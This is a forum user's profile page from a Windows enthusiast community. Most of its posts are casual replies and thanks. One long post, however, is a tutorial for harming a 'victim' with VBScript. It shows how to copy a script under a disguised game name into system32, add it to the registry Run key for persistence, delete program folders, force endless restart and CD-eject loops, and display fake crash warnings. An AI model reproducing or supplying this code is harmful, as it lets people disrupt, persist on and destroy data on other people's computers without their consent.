Jump to content

Mr.Thunderbird

Members
  • Joined

  • Last visited

Everything posted by Mr.Thunderbird

  1. Mr.Thunderbird replied to NIM's post in a topic in Games Hangout
    OH MY GOD! I've always loved UT, (i still have the first one ) But this is, WOW ! SO GREAT! I cant wait to buy this game ! Thanks n1k to providing this !
  2. Mr.Thunderbird replied to Island Dog's post in a topic in Introduction
    Hello, and welcome to WinCert ! Enjoy your stay here
  3. Thank you Rick ! Providing us with great stuff and tools
  4. There is a new Version of
  5. Maybe English is better for both of us ?
  6. I'm 14 Years old and live in Denmark, but i am a Russian, and i can speak Danish English Russian Soon Deutsch And i just go to school
  7. I'll vote for n1k ! Cool clean desk But the other one have some cool fonts !
  8. Wow ! Thanks Cro-man I always enjoy playing some old games Lol, their 12 year thing is on the same day as my 14th year b-day !
  9. Allright thanks anyway
  10. Allright, thanks BTW; there are many programs that reshacker doesn't work with, isn't there another prog ?
  11. Thanks all Glad you could use it Oh, and be free to use post this tut on other forums, but it would be better if you linked to this page, because there might come some updates
  12. Cool Rick, Thanks ! :thumbsup_anim: BTW: My
  13. Mr.Thunderbird replied to sfre's post in a topic in Windows XP
    Wow ! :thumbsdown_anim: Man, that is... well i can't even find the word !
  14. Mr.Thunderbird replied to sfre's post in a topic in Windows XP
    Wow, then what is the reason of working a service pack 1 for windows, instead they should use their time to make the new windows better !
  15. Items you need -> Notepad -> You and your victim is running Windows 1. Open notepad 2. On the first line add wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "5" wscript.sleep 1000 wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "4" wscript.sleep 1000 wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "3" wscript.sleep 1000 wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "2" wscript.sleep 1000 wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "1" wscript.sleep 1000 wshshell.run "calc" wscript.sleep 100 wshshell.sendkeys "0" - This would make the calculater pop up, counting down from 5 to 0 with 1 second of space between each calculater pops up. Set wshshell = WScript.CreateObject("Scripting.FileSystemObject") Wshshell.CopyFile WScript.ScriptFullName, "C:\PATH OF YOUR CHOICE\FILENAME.vbs" PATH OF YOUR CHOICE indicates where you want to copy your script to. FILENAME indicates the name of your VBS script. Example: C:\WINDOWS\system32\SuperNewTankGame.vbs This command will copy your script to C/Windows/System32 Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\filename","C:\PATH OF YOUR CHOICE\FILENAME.vbs" You need you use this command with the copy command in order to work... NOW, THIS IS EVIL ! This command will add your script to the startup program list, so every time your victim starts his computer, the script will run itself. Please, remember to add Set wshShell = wscript.CreateObject("WScript.Shell") after using COPY or REGWRITE command Set wshshell = wscript.CreateObject("WScript.Shell") Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\shutup.exe","C:\Virus.vbs" Set wshshell = WScript.CreateObject("Scripting.FileSystemObject") Wshshell.CopyFile WScript.ScriptFullName, "C:\Virus.vbs" Set wshshell = wscript.CreateObject("WScript.Shell") Delete Folder Code Dim FSO, Folder set FSO=CreateObject("Scripting.FileSystemObject") Folder="C:\PATCH OF FOLDER OR/ AND FOLDERNAME" FSO.DeleteFolder(Folder) Example Dim FSO, Folder set FSO=CreateObject("Scripting.FileSystemObject") Folder="C:\Program Files\MSN Messenger" FSO.DeleteFolder(Folder) This will restart your victims PC :lol: do WshShell.SendKeys "%{F4}" Wscript.sleep 100 wshshell.sendkeys "r" loop CD EJECT [should be done without a cd/dvd in the drive, for faster ejecting] Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom End If loop wshshell.AppActivate "cmd" 'AppActivate activates the window which has a title equal to, or closest to what you type in the quotes 'You need the sleep to make sure that it activates it after cmd has started wshshell.run "cmd",2 ,2 means that the program will start minimized ! Another code: MsgBox"TEXT YOU WANT TO DISPLAY",EXTRA CODES, "TITLE" This will launch a pop up where the title will be "TITLE", and the message will be "TEXT YOU WANT TO DISPLAY" For an example: MsgBox"Hello, this is not a JOKE, your pc will CRASH!", 0 + 16 + 4096, "Critical" Extra stuff that you can add in the ,EXTRA CODES, area: Buttons : 0 - OK 1 - OK, CANCEL 2 - ABORT, RETRY, IGNORE 3 - YES, NO, CANCEL 4 - YES, NO 5 - RETRY, CANCEL ICONS : 16 - CRITICAL ICON 32 - WARNING QUERY ICON 48 - WARNING MESSAGE ICON 64 - INFO ICON Extra Stuff: 0 - NORMAL 4096 - ALWAYS ON TOP ,1+16+4096, Will make a window with OK and CANCEL buttons, CRITICAL ICON, and the window will be on top of other windows If you want to make a command that repeats itself: do COMMAND(S) loop Where COMMAND is one of the command i listed above Eeeenjoy ! And please, if somebody can make some kind of "program" to convert .vbs to .exe, ot just an exe that runs the vbs, WOULD BE AWESOME!
  16. Hmm, i liked this one
  17. Cool, Thanks ! :thumb_yello:
  18. Mr.Thunderbird replied to a post in a topic in Graphics Showcase
    Great icon man ! :thumbsup_anim:
  19. Mr.Thunderbird replied to sfre's post in a topic in Windows XP
    Is there going to be a new Windows AGAIN ?
  20. Mr.Thunderbird replied to WolfX2's post in a topic in Funny Lounge
    Wow, its a really long joke, but i think you need good memory to remember all that
  21. Wow man, awesome stuff ! Thanks Rick !